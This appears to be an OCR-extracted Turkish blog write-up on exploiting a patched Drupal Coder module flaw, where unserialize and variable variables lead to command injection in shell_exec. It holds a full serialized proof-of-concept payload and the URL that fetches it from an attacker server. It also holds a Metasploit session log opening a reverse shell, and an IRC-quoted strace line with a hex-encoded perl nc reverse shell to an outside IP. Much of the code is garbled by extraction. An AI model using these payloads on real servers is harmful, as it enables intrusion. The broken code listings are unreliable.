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Bildiginiz gibi Drupal’in security ekibi zafiyet ydnetimini son derece ciddiye almaktadir. Bu ekip,
zafiyeti bulan kisi veya kigiler ile koordineli bir calisma gergeklestirip, ¢ok kritik bir husus yok ise her

haftanin carsamba gini yama yayinlamakta. Benimde olaya dahil oldugum an, bu modul i¢in
yamanin yayinlandigi gin oldu.

Drupal Security ekibi, herhangi bir PoC kodu veya teknik detay paylasimi gerceklestirmemektedir.
Bu durumda, eger zafiyet ¢ok bariz bir sekilde sintmiyor ise, 1day saldirilarin énline gegilmesi
noktasinda bir katma degere dénusmektedir.

Bu zafiyet icin PoC kodunun hentz olusturulmus olmamasi, Core Security firmasindaki zafiyet
aragtirmacisi ekibin attigi tweetlerinde PoC icin ciddi bir problem yagadiklarini gérmus olmak
benimde merakimi uyandirdi...

Ve serliven baglamig oldu.

Zafiyete ilk Bakis

Git commit’ine baktigimizda asagidaki bilgi bizi kargilamaktadir.

diff --git a/coder_upgrade/scripts/coder_upgrade.run.php b/coder_upgrade/scripts/coder_ upgrade.run.php
index d78b6b7..b469ef2 100644
--- a/coder_upgrade/scripts/coder_upgrade.run.php
+++ b/coder_upgrade/scripts/coder_upgrade.run.php
@@ -51,6 +51,12 @@

* Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)

*/
+if (!script_is_cli()) {
+ // Without proper web server configuration, this script can be invoked from a
+ // browser and is vulnerable to misuse.
+ return;
+}
+

// save memory usage for printing later (when code is loaded).

$usage = array();

save_memory_ usage('start', $usage);
@@ -210,3 +216,12 @@ function error handler($code, $message, $file, $line) {

}
throw new ErrorException($message, 0, $code, $file, $line);

}
+
+/ %%

+ * Returns boolean indicating whether script is being run from the command line.

+ *

+ * @see drupal_is_cli()

Y

+function script_is_cli() {

+ return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
+}

Gérinen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web
Uzerinden erisim engeli ile zafiyet yamasi yayinlanmis. Zafiyetin olustugu noktayi anlamakta
maalesef bize yardimci olan bir bilgi deqgil.

coder_upgrade.run.php dosyasinda ki kodlari okumaya baglayalhm.

= extract_arguments()
(is_null( )) {

= unserialize(file_get_contents(

) {




extract_arguments() fonksiyonu $path isimli degiskeni olusturmakta. Ardindan bu path
parametresi, bizim en sevdigimiz iki fonksiyona, yani, file_get_contents ve unserialize
fonksiyonlarina parametre olarak génderilmekte.

unserialize islemi sonunda, yani string olarak ifade edilen bir php array’i $parameters isimli bir
degiskeni olustururduktan sonra bir for déngustine girmekte. Burada ki en 6nemli nokta, $$key
yani degigsken isaretcisinin kullaniimis olmasidir. Bu sayede coder_upgrade.run.php icerisinde
istedigimiz isimde degiskeni tanimi yapabilir durumdayiz. Sayet ki, $path degiskeni kontrolimiiz
altinda ise ?

Path degiskenini olusturan extract_arguments fonksiyon tanimi asagidaki gibidir.

extract_arguments() {
(php_sapi_name()) {

(L (

138. satir der ki, eger beni ¢cagiran kisi apache2handler ise yani web tzerinden cagiriimig isem,
ayni zamanda da GET parametresi olarak file tanimli ise, $filename degiskenini return et. ( Bu
return ekran gérdntiisiinde yoktur. 142. satirdaki degisken daha sonra fonksiyon return’i ile geri
génderilmektedir. )

Sonug ?

coder_upgrade.run.php dosyasina GET parametresi olarak file ile génderilen veri, 6ncelikle
file_get_contents fonksiyonuna génderilmektedir. Buradan dénen sonug ise unserialize yani
object injection sureglerinden yakindan tanidigimiz ikinci bir fonksiyona génderilmektedir.

PHP disyasini az ¢ok taniyan herkesin bildigi Uzere, file_get_contents fonksiyonu parametresi
eger saldirganin kontroll altinda ise; eski dostumuz RFI ve LFI, yeni dostumuz SSRF gibi
zafiyetler olusmaktadir. Bizim ilgilendigimiz nokta ise olayi daha da ileriye gétirmek ve Remote
Code Execution yapabilmek. Peki ya nasil ?

unserialize(file_get_contents(

(is_file(

= unserialize(file_get_contents(

}

save_memory_usage( )
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77 - 82 satirlar daha 6nce tanidigimiz kodlar. Bizim iginse en 6nemli nokta 81. satir yani degisken
isaretgisinin kullanildigi yer. Bu sayede uygulamanin devaminda ki $variables,
$path[‘files_base’] vb tim degiskenleri saldirgan olarak tanimlayabilmekteyiz. Bu degiskenlerin
degerlerinin degistirebiliyor olmamiz ise bize uygulamanin kod akisini kontrol edebilme imkani
sunmaktadir. Kontrol ettigimiz akigli ise istedigimiz bir fonksiyona yonlendirme ihtimalimiz
mevcuttur.

Tum kaynak kod analizi temelli saldirilarin 3 ana adimi mevcuttur.
1 - Zafiyet Tespiti
2 - Varilmak istenen kod blogu

3 - istenen noktaya giden yolun bulunmasi

Bizim icin birinci adim basgariyla tamamlanmis durumda. coder_upgrade.run.php dosyasinda ki
tim degiskenleri kendimiz tanimlayabilmekteyiz. Peki varmak istedigimiz yer ?

coder_upgrade find . -type flxargs grep 'shell_exec(\l|passthru(\Isystem('

./includes/main.inc: shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");

Gorunen o ki includes/main.inc dosyasinda bir yerde shell_exec fonksiyonu parametreler ile
calistirimakta. Belki bu parametreleri degistirebiliriz ? Ama éncelikle bu satirin gectigi fonksiyonu,
o fonksiyona erigsmek i¢inse hangi kirilimlara ne degerlerin verilmesi gerektigini 6grenmeliyiz.

coder_upgrade_make_patch_file(

= coder_upgrade_directory_path(

coder_upgrade_log_print(
coder_upgrade_log_print(
coder_upgrade_log_print(

coder_upgrade_log_print(
shell_exec(

= file_get_contents( )
file_put_contents( str_replace(

578. satir shell_exec fonksiyonunun kullanildigi an. 575 ve 576. satirlarda ise shell_exec
tarafindan kullanilan parametrelerin tanimlari bulunmakta. Gériinen o ki, eger $item isimli
fonksiyon parametresini biz belirleyebilirsek, bir adet Command Injection zafiyetimiz olusmakta.
$item isimli degiskeninde bir PHP array’i oldugunu not ederek yolculuga devam ediyoruz. Bu
fonksiyon yani coder_upgrade_make_patch_file nerede ? kim tarafindan cagirihyor ?



coder_upgrade_start(

(!is_array(

(tis_array(

(lis_array(

(
coder_upgrade_path_clear(
(!variable_get(
coder_upgrade_path_clear(

coder_upgrade_memory_print(

= variable_get(
( ) {

coder_upgrade_path_clear( )]

coder_upgrade_load_code( )
coder_upgrade_load_parser()
= variable_get(
()
) {

(! [ 1) || strpos(
coder_upgrade_convert_begin( )

coder_upgrade_convert_dir(

coder_upgrade_convert_end(
coder_upgrade_make_patch_file(

iki adet haber bizi bekliyor. iyi haber; direk 63. satira bakiniz. $item parametresi ile birlikte
hedefledigimiz fonksiyon ¢agirilmis durumda.

Ko6tl haber ise; 63. satira kadar bir ¢ok kontrol, fonksiyon ¢agrisi yani alt programlara dallanma
mevcut. Gérevimiz artik daha zor, bu nedenle yaklasimimizi degistirmemiz gerekiyor.

1 - 30. ve 51. satirlar arasinda tum if’ler icin eger kontrol edebildigimiz bir parametre ise if’e hig
girmemeyi saglamaliyiz. Eger girmek durumunda isek, mimkin mertebe en az dallanmaya sebeb
olacak sekilde hareket etmeliyiz.

2 -51,52, 60 ve 62. satirlarda ki tim fonksiyonlari tek tek kontrol edecegiz. Higbir error olmadan bu
fonksiyonlar true dénus yapmak zorundayiz. Aksi halde 63. satira yani Command Injection
yapacagimiz coder_upgrade_make_patch_file fonksiyonuna ulasamayiz.

Tdm bu kurallari ve siireci uygulamadan énce bir baska sorunumuz daha var.
coder_upgrade_make_patch_file fonksiyonuna erismek istiyoruz ? evet! Peki bunu kim
caginyor ? coder_upgrade_start fonksiyonu. Guzel...

Peki coder_upgrade_start’| kim cagiryor ? Zira bu fonksiyon ¢agiriimaz ise hicbir sekilde
coder_upgrade_make_patch_file adresine erisim saglayamayacagiz.

Yazinin bagina geri dénlyoruz. coder_upgrade.run.php dosyasi yani bizim saldirimizi
baslattigimiz dosyada 119. satira bakiniz. Tamda istedigimiz fonksiyon burada ¢agiriimig
durumda..!



coder_upgrade_path_clear(
print_memory_usage( )

coder_upgrade_memory_print(

= [coder_upgrade_start/(

Durum Ozeti

Uzun soluluklu seyahatimize baglamadan 6nce bir yol haritamizin 6zetini yapalim.

1 - coder_upgrade.run.php bizim baslangi¢c noktamiz. file parametresi lizerinden serialized
edilmis 6zel bir array génderebiliyoruz. Bu array’in her indisi coder_upgrade.run.php icerisinde
bir degisken olarak tanimlanabilmekte. (foreach déngusinu hatirlayin.)

2 - 119. satirdaki coder_upgrade_start() bizim baglangi¢ fonksiyonumuz. Parametre olarak
$Supgrade, $extensions ve $items degiskenlerini aliyor. Bu degiskenleri bir nceki adimda
anlattigimiz durum sayesinde biz tanimlayabilmekteyiz.

3 - coder_upgrade_start() fonksiyonunda ki 30. ve 51. satirlar arasinda tim if’ler icin eger kontrol
edebildigimiz bir parametre ise if’e hic girmemeyi saglamaliyiz. Eger girmek durumunda isek
mumkuin mertebe en az dallanmaya sebeb olacak sekilde hareket etmeliyiz. Zira amacimiz en kisa
yoldan 63. satirdaki coder_upgrade_make_patch_file() fonksiyonuna erismek.

4 - Gene coder_upgrade_start() fonksiyonunun taniminda ki 51,52, 60 ve 62. satirlarda ki tim
fonksiyonlari tek tek kontrol edecegiz. Hicbir error olmadan bu fonksiyonlar true dénus yapmak
zorunda. Aksi halde 63. satira yani Command Injection yapacagimiz
coder_upgrade_make_patch_file fonksiyonuna ulagsamayiz.

BASLANGIC

Daha &6nce belirttigim gibi coder_upgrade.run.php dosyasinin 119. satirina higbir problem
olmadan erismemiz gerekmekte. 119. satira gelmeden 6nce ilgimizi ceken bir ka¢c 6nemli degigken
tanimi var.




Bu degigskenleri tanimlamak zorundayiz, ¢tinki daha sonra bir ¢ok surecte kullaniliyor olacak.
Gorduglnlz tGzere $path array’inde files_base, libraries_base ve modules_base isimli array
elemanlarina ihtiyacimiz var. Saldirimizi en nihayetinde serialized edilmis bir array Gzerinden
gerceklestirecegiz. Bunun igin dncelikle paths degiskenini asagidaki sekilde saldirn kodumuzda
tanimlamaktayz.

Burada dikkat edilecek
husus; modules, files ve
libraries icin dogru path’in
tanimlanmasi. Bunun
icinde ../.. dizin tanimlarini
kullanabiliriz.

serialize(

119. satira gelmeden 6nce kargimiza bir diger dallanma durumu ¢ikmakta.

(is_file(d
unserialize(file_get_contents(

Bu durumdan kurtulmak icin $theme_cache parametresini var olmayan bir dosya veya klasor ile
tanimlayabiliriz. Boylece is_file fonksiyonu FALSE ddnecek ve dallanma énlenmis olacaktir.

Saldiri array’imizin son hali asagidaki duruma geldi. theme_cache ve variable sisimli iki array
elemani daha ekledik. Bunlardan theme_cache var olmayan bir dosya ismi yazdik ki yukaridaki
dallanma gerceklesmesin.

serialize(

Ve sonunda 119. satirdaki coder_upgrade_start() fonksiyonuna sorunsuz bir sekilde erismis
buluyoruz. Unutmamaliyiz ki, henliz baslangi¢c noktasina geldik. coder_upgrade_start() Gzerinden
coder_upgrade_make_patch_file() fonksiyonuna erismeye calisacagiz.



1. adim - coder_upgrade_start() Fonksiyonu

Bu fonksiyon oldukga uzun bir tanima sahip. Yazinin daha énceki kisimlarinda fonksiyon tanimi
paylasiimisti. Tekrar hatirlatmak ve adim adim analiz etmek icin asagida tanimi tekrar veriyorum.

coder_upgrade_start(

(tis_array( [

(!is_array(

('is_array(

(
coder_upgrade_path_clear(
(!variable_get(
coder_upgrade_path_clear(

coder_upgrade_memory_print(

= variable_get(
( ) {

coder_upgrade_path_clear( )

coder_upgrade_load_code( )
coder_upgrade_load_parser()
variable_get(
= ()
( ) {

(o ( [ 1) || strpos(
coder_upgrade_convert_begin( )

coder_upgrade_convert_dir(
coder_upgrade_convert_end(
coder_upgrade_make_patch_file(

Amacimizida tekrar hatirlatmakta fayda var, 63. satirda ki coder_upgrade_make_patch_file()
fonksiyonuna erigmeliyiz.

ilk dikkat ceken nokta 30-38. satirlar arasinda ki if tanimlari. $upgrades, $extensions ve $items
degiskenleri array olmali. Ayni zamanda da en az bir adet elemani bulunmali. Aksi halde return
False sonucu olusacak ve 63. satira gelmeden execution sonlanacaktir. Bu t¢ degerinde fonksiyon
parametresi oldugunu gérmekteyiz. Yani bu tanimlari coder_upgrade.run.php tzerinde
yapmaliyiz.

Saldin kodumuzunda ki array’i agagidaki sekilde
guncelliyoruz.

Bu bizi higbir return False komutuna diigmeden
dogrudan 39. satira kadar getirmis olacaktir.

39 - 50. satirlar arasinda ki kodlari ise maalesef
kontrol edemiyoruz. Bunun nedeni hem
variable_get() fonksiyonu cagrilaridir, hemde bazi
degiskenler fonksiyon yerel degiskenleridir.
Fonksiyon yerel degiskenlerini global 6n tanimi
olmadigi strece kontrol edememekteyiz.

serialize(sa);|




Bu durumda bizi dogrudan 51. satirda ki coder_upgrade_load_code($upgrade) fonksiyonu
cagrisina getirmektedir. $upgrade degiskenini kontrol edebildigimiz icin bu fonksiyonada 6zel
olarak bakmaliyiz. Herhangi bir sorun olmadan bu fonksiyon return True déndurmelidir. Aksi halde
63. satira ilerleyemeyiz.

(file_exists(

coder_upgrade_memory_print(

}

Gene ilk bakista dikkat ceken bir ¢cok dallanma ve daha da énemlisi require_once cagrilaridir.
Yerel dizin Uzerinden baska dosyalar ¢agirilabilmekteyiz. Bu 6zellik sayesinde Local File Inclusion
saldinilari gerceklestirebilme ihtimalimiz mevcut. Lakin amacimiz dogrudan 63. satira yani
Command Injection yapacagimiz fonksiyona erismek oldugu i¢cin zaman kaybetmeden
coder_upgrade_load_code() fonksiyonunun sonug Uretmesini saglamaliyiz. Unutmayin,
$upgrade parametresini biz kontrol etmekteyiz!

ilk karsimiza cikan,78. satirdaki foreach déngiisi oldu. Bu déngliyi bir kere déniip fonksiyondan
cikmayi istemekteyiz. Ayrica 80. satirdaki if ile yapilan dallanmaya dikkat edin. Deger 80. satirda ki
if kontrolU false olursa 85. satirdaki drupal_get_path() cagrisi yapilacaktir. Bu ¢agri ile
ugrasmaktansa direk 82. satirdaki degisken tanimini yapmay tercih etmeliyiz. Béylece ¢ok daha
az bir dallanma ile yolumuza devam edebiliriz.

ikinci bir alt dallanma ise 87. ve 92. satirlarda ki if, elseif tanimlari. Eger 87. satirdaki if true
doénerse, bir baska foreach ve require_once cagrisi olacaktir ki bunu hi¢ istemiyoruz. Ayrica 92.
satirda ki elseif true donerse gene require_once cagrisi olacaktir. Bu durumdan da kagmak isteriz.
Cunkul require_once cagrilarinin sonunda .upgrade gibi postfix tanimlari mevcut. Bunu \x00 yani
Null Byte injection ile asabiliriz. Lakin PHP Null Byte Injection sadece PHP4 - PHP5.3 versiyonlari
arasinda calismaktadir. Generic bir exploit yazmamiza engel olabilir. Belki hedefimiz PHP7.0
kullanmakta ?
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Tam bu cileye son verecek saldir array
tanimimiz asagidaki sekilde olmahdir.
upgrades tanimina dikkatlice bakiniz. path
degiskeni tanimli ve ici bos OLMADIGI icin
82. satira giris yapabilmekteyiz. Béylece
bahsettigim 85. satirdaki
drupal_get_path() fonksiyonundan
kurtulmus oluyoruz.

Ayrica $upgrade degiskenimizde $files
parametresi olmadigi igin 87. satirdaki
dallanmadan da kurtuluyoruz. Bu bizi 92.
satira getirmektedir. Bu satirdaki if
kontroliiniin FALSE dénmesi icinde module
degiskenine foo degerini atadik. Boylecek

serialize( file_exist() fonksiyonu FALSE ddnecek ve

94. satirdaki require_once koduna hi¢

ugramadan fonksiyondan basarili bir sekilde kurtulmus olacagiz.

Evet. Bagladigimiz noktaya geri ddnmeyi basardik. coder_upgrade_start() fonksiyonunun 51.
satirindaki coder_upgrade_load_code($upgrades); cagrisindan basariyla ¢ikmis olduk.
Yolumuza devam etmenin zamani geldi. 63. satira erismeliyiz. Bunun icin coder_upgrade_start()
fonksiyonunun ilgili kod blogunu tekrar asagida paylasiyorum.

) {

(L ( [ 1) || strpos(
coder_upgrade_convert_begin( )

coder_upgrade_convert_dir(

coder_upgrade_convert_end(
coder_upgrade_make_patch_file(

55. satirda bir bagka foreach daha var. Buna girmek zorundayiz. Aksi halde 63. satira erigemeyiz.
coder_upgrade_make_patch_file() bizim hedefimiz!

Foreach doénguist, $items isimli array’in her elemanini tek tek $item degiskeninde tutmakta. 63.
satirdaki fonksiyonumuz ise $item degiskenini parametre olarak almakta..! Harika! Lakin bagka
problemlerimiz var. En az 3 adet farkli fonksiyonunun c¢agrisi olusacak...

57. satirda ki if eger dogru sonug Uretirse, coder_upgrade_convert_begin() fonksiyonu
cagrilacaktir. Bunu engellemeliyiz. Bagka bir dallanmay! istemiyoruz. Neyse ki if’i analiz ettigimizde
bu fonksiyona girmek icin HTTP_USER_AGENT degiskenimiz ya taniml olmamali, yada user
agent degerimiz simpletest olmamalidir. Yani demem o ki, normal bir HTTP GET talebimiz bu 58.
satira dallanmaya zaten izin vermemekte. Guzel bir haber bu, yolumuza devam edebiliriz.

60. satirdaki coder_upgrade_convert_dir() ve 62. satirdaki coder_upgrade_convert_end()
cagrilarindan kacamiyoruz. Simdiye kadar yaptigimiz gibi, bir yolunu bulup bu fonksiyonlarin
problemsiz bir sekilde sonuglanmasini saglamaliyiz. Her iki fonksiyonun parametrelerinin en az 2
tanesini biz kontrol edebiliyoruz.

1.1 Alt Dallanma: coder_upgrade_convert_dir() Analizi

Karsimiza ¢cok daha buyuk bir fonksiyon ¢ikmis durumda. Bu biraz motivasyon kirici olsada ben
sadece ilgilenecegimiz kisimlari, Gzerinde saatler harcadiktan sonra, tespit ettim. Sadece ilgili
kisimlar sizlerle agagida paylasiyorum
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coder_upgrade_convert_dir(

(lis_dir(
mkdir(
chmod (

{

coder_upgrade_clean_directory(

('in_array( ) {
coder_upgrade_log_print(
coder_upgrade_log_print(
coder_upgrade_log_print(

coder_upgrade_module_name(

= [scandin(
(

166. ve 167. satirda kontrol edebildigimiz iki dedisken Gzerinden $dirname ve $new_dirname
tanimlari yapilmis durumda. 170. satirdaki dallanmada ise bir tercih yapacagiz. Bu tercih yazinin
Exploitation kisminda karsimiza ciddi bir problem ¢ikartacak. Lakin o kisma daha sonra geliriz.
Oncelikle sorunumuz su: $new_dirname eger is_dir() kontroliinden false dénerse sunucuda bir
dizin olusturulacak ( 171 ve 172. satirlar) eger var olan bir dizini belirtirsek ise 175. satirda bagka
bir fonksiyon daha ¢agirlacak. Agikcasi daha fazla fonksiyon ile ugragsmak istemiyoruz. Bu nedenle
tercihimiz 171. ve 172. satirlara girmek olmal.

189. satirda ise $dirname degiskeninin isaret
ettigi dizinde ki tim dosyalar Gzerinde, 190.
satirdaki foreach calisacak. Ekran gérintisine
dahil etmedigim bu kisim uzunca bir baska kod
bloguna ihtiva etmekte. Bu kisimlara girmemek
icin $dirname degiskenini Drupal Coder ile
gelen resim dosyasina isaret edebiliriz. Bu
sayede scandir() sadece resimlerin oldugu bir
array dénecek. Bbylece foreach’e girsek bile
hicbir .php, .module, .inc vb uzantiya sahip
dosya olmadigi i¢in foreach hicbir is yapmadan
cikacaktir :-)

Yeni saldiri array’imiz yandaki sekilde
olugsmaktadir. items array’inin old_dir ve
new_dir elemanlarina yukaridaki paragrafta
belirttigimiz isi yapacak degerleri yazdik.

Bu fonksiyondan da alnimizin aki ile ¢iktiktan
sonra, simdi sira ikinci fonksiyonumuzda.

serialize(
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1.2 Alt Dallanma: coder_upgrade_convert_end()

Artik sans yuzimuze gulmekte.

Icode r_upgrade_convert_end(

coder_upgrade_log_print
coder_upgrade_log_print
coder_upgrade_log_print
coder_upgrade_log_print
drupal_alter(

coder_upgrade_log_print(

(
(
(
(

Gorduguniz Gzere ¢ok az bir tanim var. Higbir sey ile ugrasmadan buradan direk gegiyoruz.

Ve beklenen an! coder_upgrade_make_patch_file()

Onca cileden sonra nihayet son duraga varmis bulunmaktayiz. 551. satira gelmek tzereyiz.
shell_exec fonksiyonuna baktigimizda 551. satirdaki $old_dir ve $new_dir isimli iki parametrenin
herhangi bir 6énlem alinmadan dogrudan komut icerisinde kullanildigini gérmekteyiz. Zira bunu
yazinin en basinda tespit ettik ve buraya varmaya calistik.

[coder_upgrade_make_patch_filg(

= coder_upgrade_directory_path(

coder_upgrade_log_print(
coder_upgrade_log_print(
coder_upgrade_log_print(

®oder_upgrade_log_print(
shell_exec( {

= file_get_contents( )
file_put_contents( str_replace(

}

548 ve 549. satirlarda bu iki degiskenin nasil atandigini gérmekteyiz. Eger $item isimli array’in
old_dir ve new_dir isimli indisleri mevcut ise, bu degerler dogrudan yeni degisken Uretiminde
kullanilmakta. Bu bizim igin mutluluk verici bir haber. Clnki $item array’i fonksiyon
parametresinden gelmekte. Yani bizim en basindan beri kontrol edebildigimiz bir dizi.
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Asagidaki saldirn array’imizin PoC halini olusturmus
durumdayiz. items array’inin new_dir isimli
parametresine payload yerlestiriimekte. Bu sayede
diff komutunu calistiran shell_exec fonksiyonunda
Command Injection gerceklestirebilmekteyiz.

)il

serialize(

Proof of Concept

Yukarida son hali paylasiimig olan array’imizi yerel sunucu tUzerinden yayinliyoruz.

D | 10.0.0.1:8081/exploit.php ] \ Search $ &% ¢ n &
a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";5:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"..

/..";}s:11:"theme_cache";s:16:"theme_cache_test";s:9:"variables";s:14:"variables_test";s:8:"upgrades";a: 1:{i:0;a:2:{s:4:"path";s:2:"..";5:6:"module";s:3:"foo";} }s:10:"extensions";a: 1:
{s:3:"php";s:3:"php";}s:5:"items";a:1: {i:0;a:3: {s:7:"old_dir";s:12:".././images";s:7:"new_dir";s:15:"-v; sleep 100 #";s:4:"name";s:4:"test";} } }

Goruldugu Uzere serialized edilmis halde karsimizda. Bu veriyi ise file GET parametresi Gizerinden
uygulamaya géndermeliyiz. En basa, bu file parametresini génderdigimiz kod blogunu hatirlayalim.

= extract_arguments()
(is_null( )) {

= unserialize(file_get_contents(

Hatirlarsaniz extract_arguments() fonksiyonu HTTP GET (izerinden file parametresini almakta ve
$path isimli degiskene atamaktaydi. Bu degisken file_get_contents() Uizerinden indiriimekte ve
unserialize edilerek saldirl array’imiz uygulamaya ulastiriimaktaydi.

POC URL : http://10.0.0.162/drupal/sites/all/modules/coder/coder upgrade/scripts/
coder _upgrade.run.php?file=http://10.0.0.1:8081/exploit.php

Sayfanin geri déniisi 10 saniye geciktigini gérmekteyiz. Bu bize Blind Command Injection saldiri
yapabildigimizi ispatlamaktadir...!


http://10.0.0.162/drupal/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=http://10.0.0.1:8081/exploit.php
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Metasploit Moduli

Acikcasl su ana anlatilanlari analiz etmem 1 glin gibi ciddi bir sireye, glizel bir cumartesi giinime
mal oldu. Detayli bir kaynak kod analizi, dallanmalari engellemenin yollari, ufak ve ince trickler ile
gecgen surenin ardindan nihayet PoC’yi gerceklestirebildik. Simdi ise sira “reliable exploit” ‘in
gelistiriimesine geldi.

Karsilagilan Engeller

Hatirlarsaniz ki saldiri komutumuzu $item array’inin new_dir elemani Gizerinden géndermekteyiz.
Uzun sdren analizlerimizden bir tanesinde, command injection’i ger¢eklestirmeden énce bu
degiskenin bagka fonksiyonlar tarafindan kullanildigini gérmastik. Hatirlamayanlar icin
coder_upgrade_convert_dir() fonksiyonuna geri dénelim.

coder_upgrade_convert_dir(

('is_dir(
mkdir(
chmod (

{
coder_upgrade_clean_directory/(

}

Burada $item[‘new_dir] yani bizim saldiri kodumuzu ilettigimiz parametre mkdir() ve chmod()
fonksiyonlarinda kullaniimakta. Biz 175. satirda ki fonksiyondan korktugumuz icin -acip ilgili
fonksyonu okuyun, gercekten korkutucu- 171. ve 172. satirlara giris yapmay! tercih ettik. Zaten bu
analizi yaparken de, bize daha sonra ciddi bir problem olacak bir karar veriyoruz, demistik.

Problem #1: mkdir ve chmod fonksiyonlari input olarak aldigi deg@iskenin 255 karakterden kuguk
olmasini istemektedir. Bu kural unix ailesinin dosya ismi boyutu sinirlandirmasindan gelmekte.
Buda saldin kodumuzun -shellcode olarak dusunebilirsiniz- belirli bir limitte olmasini zorunlu
kilmakta.

Ayrica diff komutunun herhangi bir error Uretip error.log’a yazilmamasi i¢in payload’imiz -v;
karakteri ile baglamakta. Komut sonrasi kismin iglem disarisina alinmasi icinse [SPACE]#
kullanmak zorundayiz. Buda zaten 255 gibi limitli olan bir payload alani i¢in 5 adet karakterimizide
kaybettigimiz anlamina gelmekte. Asil payload uzunlugumuz 250 karakter olmak zorunda artik.

Problem #2: Gene mkdir ve chmod icin parametre olaran gelen veride / isareti path
belirtmektedir. Bizim reverse_shell vb payloadlarimizi tagiyan bu degiskende / isaretini artik
kullanamiyoruz. Yani nc -i /bin/bash 10.0.0.1 diyemeyiz. Cunkl payload igerisinde / bulunmaktadir.
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'Payload’ => . - o . .
{y Bu problemleri Metasploit’in module 6zellikleri
'Space’ => 250, kullanarak asabilmekteyiz.
'DisableNops’' => true,
'BadChars' = "\x2f",
‘ Compat — Space alaninin 250 yapilmasi ve BadChars
{ olarak \x2f yani / igaretinin atanmasi Metasploit
‘PayloadType' => 'cmd cmd_bash', modulunin payload generate isleminde gerekli

) ‘RequiredCmd*® => 'netcat netcat-e bash-tcp'  encoding’lerin yapiimasini saglamakta.

h :
Ayrica PayloadType ve RequiredCmd olarakta
250 karakter altinda payload Urettigine emin

oldugumuz payload tiplerini enable etmis bulunuyoruz.

Bu iki bilgi 1s1g1nda bir metasploit modull gelistirdim ve PR génderdim. Bu yazinin yazdihgi tarihte
de IRC lGzerinden HDM (HD Moore) ve WVU-7 nickli metasploit yetkilileri ile de uzun uzun
munakasa ettik. Su anda itibariyle modul kabul almis durumda.

msf > use exploit/unix/webapp/drupal_coder_exec
msf exploit( ) > set RHOST 10.0.0.159
RHOST => 10.0.0.159
msf exploit( ) > set TARGETURI /drupal/
TARGETURI => /drupal/
msf exploit( ) > set SRVHOST 10.0.0.1
SRVHOST => 10.0.0.1
msf exploit( ) > exploit

Exploit running as background job.

Started reverse TCP handler on 10.0.0.1:4444
exploit( ) > Using URL: http://10.0.0.1:8080/im3i15Tvcd3R1leX

Incoming request detected...
Sending payload. ..
Command shell session 1 opened (10.0.0.1:4444 -> 10.0.0.159:57592) at 2016-07-21 16:39:44 +0300

exploit( ) > sessions -i 1
Starting interaction with 1...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/drupal/sites/all/modules/coder/coder_upgrade/scripts

https://qithub.com/rapid7/metasploit-framework/pull/7115/files

Yukaridaki adres Gzerinden ilgili metasploit modullne erigebilirsiniz.

EOF.

Son

Olayin sonunda zafiyeti bulan NCC Group arastirmacisi ile de gérismus oldum. Kendisi zafiyeti
tespit ettikten sonra Remote Code Execution icin bir race condition durumunu kullanmaya
calistigini dile getirmisti. Kendisine(Nickly Bloor) bu slrecteki katkilarindan éttra tesekkir ederim.

Benim exploitation yontemim ile ilgili yorumlar ise;


https://github.com/rapid7/metasploit-framework/pull/7115/files
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Hi Nicky, I've managed to exploit Coder module with

blind command injection technique. All the required

variables to reach coder_upgrade_make_patch_file()
O% function are like in photo.

Jul 20

Please look at new_dir element of item variables :-) Can
you please tell me is there an easier way to execute

command ? Or should | start to implementation of msf
module ?

Jul 20

— Damn, nice work Mehmet! That's a more reliable exploit
v that mine. Go ahead with the module.

Jul 20

T Nicky Bloor @nickstadb - Jul 26

o \ery impressed with @mdisec work on a
@metasploit module for my Drupal Coder
vuln SA-CONTRIB-2016-039

Add Drupal CODER Remote Command Execution ...

This module exploits CODER module for Drupal 7.x .
Patch was released several days ago by Drupal Security
Team. Limitation I've seen During Exploitation 1-) Our p...

github.com

L3 2

Ayrica Metasploit ekibinin ne kadar ciddi bir community destekgisi oldugunuda sizlere
gbsterebilmis olacagim. IRC konusmalarimizdan bir kismini ekte paylasiyorum.

[21:44:28] <@wvu> mdisec: Are you Mehmet?

[21:44:36] <mdisec> yes I'm

[21:44:55] <@wvu> mdisec: Sorry, was trying to remember
[21:45:00] <mdisec> np :)

[21:45:03] <@wvu> Brain trying to get back to normal after con

[21:45:07] <@wvu> mdisec: | updated your PR



[21:45:14] <mdisec>
[21:45:41] <@wvu>
[21:45:44] <@wvu>
[21:45:44] <@wvu>
[21:47:08] <mdisec>
[21:47:53] <mdisec>
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I've just read ur comments

If we can bump the space restriction up a bit, that'd help, but | hope there's a better way

I've tried the other encoders

No dice

Yea space restriction is a huge trouble, only one payload - perl -e system- is working

Reason of this restriction is about the copy() function of php. Our payload gonna be used as a

copy() function parameter during exploitation

[21:48:10] <mdisec>
[21:49:19] <@wvu>
[21:49:22] <@wvu>
[21:49:46] <@wvu>

'system(pack(qq,H182,,qq,

and max lenght is 255 forced by php internals.

mdisec: Assumed as much, since the actually command is diff

Actual*

[pid 27414] execve("/bin/sh", ["sh", "-c", "diff -up -r ../../images f --help && perl -e

6d6b6669666f202f746d702{7572726d3b206e63203139322e3136382e33332e31203434343420303¢2f746d702f75727a
6d207c202f62696e2f7368203e2f746d702{75727a6d20323e26313b20726d202f746d702f75727a6d20,))' # > ../../
coder_upgrade/patch/test.patch"], [/* 9 vars */]) =0

[21:50:37] <mdisec>
[21:50:46] <@wvu>
[21:50:52] <@wvu>
[21:51:01] <@wvu>
[21:51:11] <baordog>
[21:51:16] <@wvu>
[21:51:21] <@wvu>
[21:51:47] <mdisec>
[21:52:12] <@wvu>
[21:52:20] <@wvu>
[21:53:13] <mdisec>
[21:53:32] <mdisec>
[21:54:02] <mdisec>

remember right now 0.0

[21:54:43] <@wvu>
[21:54:43] <@wvu>
[21:54:48] <@wvu>
[21:58:41] <@wvu>
[21:58:50] <@wvu>
[21:58:54] <@wvu>
[21:59:44] <mdisec>
[22:00:15] <mdisec>
[22:00:31] <mdisec>
[22:05:18] <mdisec>
[22:05:18] <mdisec>
[22:05:18] <mdisec>
[22:05:18] <mdisec>
